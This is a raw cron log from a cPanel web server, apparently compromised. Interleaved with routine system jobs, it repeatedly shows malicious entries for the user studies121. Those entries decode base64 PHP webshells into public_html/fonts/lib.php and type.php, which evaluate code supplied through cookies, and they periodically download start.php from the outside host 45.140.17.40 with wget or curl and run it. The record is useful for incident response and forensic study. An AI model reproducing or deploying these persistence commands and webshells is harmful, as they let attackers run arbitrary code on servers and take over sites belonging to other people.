Sep 10 22:06:01 ip-184-168-122-23 CROND[17097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:06:01 ip-184-168-122-23 CROND[17099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:07:01 ip-184-168-122-23 CROND[17184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:07:01 ip-184-168-122-23 CROND[17186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:07:01 ip-184-168-122-23 CROND[17185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:07:01 ip-184-168-122-23 CROND[17187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:08:01 ip-184-168-122-23 CROND[17276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:08:01 ip-184-168-122-23 CROND[17278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:08:01 ip-184-168-122-23 CROND[17279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:08:01 ip-184-168-122-23 CROND[17282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:08:01 ip-184-168-122-23 CROND[17283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:09:01 ip-184-168-122-23 CROND[17370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:09:01 ip-184-168-122-23 CROND[17372]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 22:09:01 ip-184-168-122-23 CROND[17374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:09:01 ip-184-168-122-23 CROND[17373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:09:01 ip-184-168-122-23 CROND[17376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:10:01 ip-184-168-122-23 CROND[17468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:10:01 ip-184-168-122-23 CROND[17471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:10:01 ip-184-168-122-23 CROND[17473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:10:01 ip-184-168-122-23 CROND[17477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:10:01 ip-184-168-122-23 CROND[17478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:10:01 ip-184-168-122-23 CROND[17479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:10:01 ip-184-168-122-23 CROND[17480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:10:01 ip-184-168-122-23 CROND[17476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:11:01 ip-184-168-122-23 CROND[17665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:11:01 ip-184-168-122-23 CROND[17667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:11:01 ip-184-168-122-23 CROND[17668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:11:01 ip-184-168-122-23 CROND[17669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:12:01 ip-184-168-122-23 CROND[17754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:12:01 ip-184-168-122-23 CROND[17753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:12:01 ip-184-168-122-23 CROND[17756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:12:01 ip-184-168-122-23 CROND[17755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:12:01 ip-184-168-122-23 CROND[17758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:13:01 ip-184-168-122-23 CROND[17846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:13:01 ip-184-168-122-23 CROND[17849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:13:01 ip-184-168-122-23 CROND[17848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:13:01 ip-184-168-122-23 CROND[17850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:14:01 ip-184-168-122-23 CROND[17948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:14:01 ip-184-168-122-23 CROND[17950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:14:01 ip-184-168-122-23 CROND[17953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:14:01 ip-184-168-122-23 CROND[17952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:14:01 ip-184-168-122-23 CROND[17955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:15:01 ip-184-168-122-23 CROND[18062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:15:01 ip-184-168-122-23 CROND[18065]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 22:15:01 ip-184-168-122-23 CROND[18067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:15:01 ip-184-168-122-23 CROND[18069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:15:01 ip-184-168-122-23 CROND[18070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:15:01 ip-184-168-122-23 CROND[18071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:15:01 ip-184-168-122-23 CROND[18066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:16:01 ip-184-168-122-23 CROND[18253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:16:01 ip-184-168-122-23 CROND[18255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:16:01 ip-184-168-122-23 CROND[18259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:16:01 ip-184-168-122-23 CROND[18257]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:16:01 ip-184-168-122-23 CROND[18260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:16:01 ip-184-168-122-23 CROND[18261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:17:01 ip-184-168-122-23 CROND[18347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:17:01 ip-184-168-122-23 CROND[18348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:17:01 ip-184-168-122-23 CROND[18349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:17:01 ip-184-168-122-23 CROND[18351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 22:18:01 ip-184-168-122-23 CROND[18441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 22:18:01 ip-184-168-122-23 CROND[18445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 22:18:01 ip-184-168-122-23 CROND[18443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
